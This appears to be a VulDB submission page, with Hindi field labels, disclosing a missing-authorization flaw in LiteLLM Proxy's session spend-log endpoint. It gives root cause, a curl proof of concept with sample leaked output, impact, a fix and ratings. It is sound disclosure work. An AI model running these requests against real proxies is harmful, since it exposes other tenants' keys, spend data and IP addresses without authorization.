| शीर्षक | BerriAI LiteLLM Proxy 1.82.1 - 1.92.0 Access Control / IDOR |
|---|
| विवरण | BerriAI LiteLLM Proxy Server contains a Missing Authorization / Insecure Direct Object Reference (IDOR) vulnerability in the endpoint GET /spend/logs/session/ui, implemented in litellm/proxy/spend_tracking/spend_management_endpoints.py (function ui_view_session_spend_logs). The handler authenticates the caller via Depends(user_api_key_auth) but queries spend logs filtered only by the session_id query parameter, without constraining results to the caller's own user_id, team_id, or organization_id.
ROOT CAUSE
Source: spend_management_endpoints.py:3251 (session_id read from query string), user_api_key_dict at :3266 (used only for auth, never for filtering).
Sink: :3290 where_conditions = {"session_id": session_id}, raw SQL at :3309 "WHERE session_id = $1". Returned columns include api_key, "user", team_id, organization_id, model, spend, requester_ip_address, session_id (:3300-3307).
Reachability: /spend/logs/session/ui is in spend_tracking_routes (_types.py:628), included in internal_user_routes (_types.py:724), so RouteChecks admits any INTERNAL_USER role, not just admins.
This contradicts the proxy's own documented intent (_types.py:701: "non-admin roles must not see other tenants' spend") and is inconsistent with sibling endpoints that scope correctly: /spend/logs/v2 filters non-admins via where_conditions["user"] = user_api_key_dict.user_id (:1847,1862), and per-request-id access is gated by _assert_user_can_view_request_id (:3555). The session endpoint, added in commit 331e784db4 (PR #10321, first released in v1.82.1), omits the equivalent check.
PROOF OF CONCEPT (step by step, curl only)
Setup: two separate non-admin internal_user accounts on the same proxy, Alice (victim) and Bob (attacker), each with their own virtual API key, created via POST /user/new + POST /key/generate using the proxy master key.
Step 1 - Alice generates activity tagged with a session id:
curl -s $PROXY/v1/chat/completions \
-H "Authorization: Bearer $ALICE_KEY" -H "Content-Type: application/json" \
-d '{"model":"mock-gpt","messages":[{"role":"user","content":"alice private"}],"litellm_session_id":"alice-secret-session-21849"}'
-> HTTP 200. This is a normal, legitimate request; the session_id is just a tag LiteLLM uses to group related calls.
Step 2 - Bob, an unrelated non-admin user with no relationship to Alice, queries the session endpoint using Alice's session_id (session_id values may leak to other users via shared UI views, logs, referrers, screenshots, or tickets - they are not secret by design):
curl -s "$PROXY/spend/logs/session/ui?session_id=alice-secret-session-21849" \
-H "Authorization: Bearer $BOB_KEY"
Result: HTTP 200 with 1 record, containing Alice's full spend row:
api_key = 8546673c9754991a0277c50e8a5c1da9d1b9cf5424a42ee33037ddd1984f4074 (hashed key)
user = 7265de41-f98a-4e2f-8bdc-e1f102a52145 (Alice's user_id)
model = openai/gpt-4o
spend = 0.000225
session_id = alice-secret-session-21849
requester_ip_address = 172.18.0.1
Bob's own key has no admin role and no team/org relationship to Alice; he authenticates only as himself, yet receives Alice's tenant data in full.
Step 3 - Control, showing the boundary IS enforced elsewhere (confirms this endpoint is the outlier, not general proxy behavior):
curl -s -o /dev/null -w "%{http_code}" "$PROXY/user/info?user_id=$ALICE_USER_ID" -H "Authorization: Bearer $BOB_KEY"
-> HTTP 403 (correctly denied)
A complete runnable script reproducing steps 1-3 end to end (auto-provisions both test users, retries for async log flush, dumps the full cross-tenant JSON) plus a screen recording of the live run are available on request / in the referenced advisory.
IMPACT
Any authenticated non-admin user who learns another tenant's session_id can retrieve that tenant's hashed API key, user_id, team_id, organization_id, model usage, spend, and requester IP address, without any authorization relationship to the victim.
AFFECTED VERSIONS
v1.82.1 through v1.92.0 (latest stable, confirmed unscoped) and the 1.93.0-dev/1.94.0-dev line (commit f1f33f560f, live-tested). No fix available as of the tested commit.
FIX
Scope the query to the caller for non-admin roles before returning results, mirroring /spend/logs/v2 and _assert_user_can_view_request_id: add a check that the caller's user_id/team_id/org_id matches the session's owner, or filter the query itself (e.g. AND "user" = $n). Admins retain full visibility via the existing global routes.
CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization).
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N (4.3, Medium). |
|---|
| स्रोत | ⚠️ https://github.com/BerriAI/litellm |
|---|
| उपयोगकर्ता | Gabriel Alves (UID 99209) |
|---|
| सबमिशन | 01/09/2026 05:08 PM (1 महीना पहले) |
|---|
| संयम | 10/10/2026 05:37 PM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 416231 [BerriAI LiteLLM तक 1.95.0 Spend Tracking spend_management_endpoints.py ui_view_session_spend_logs session_id अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|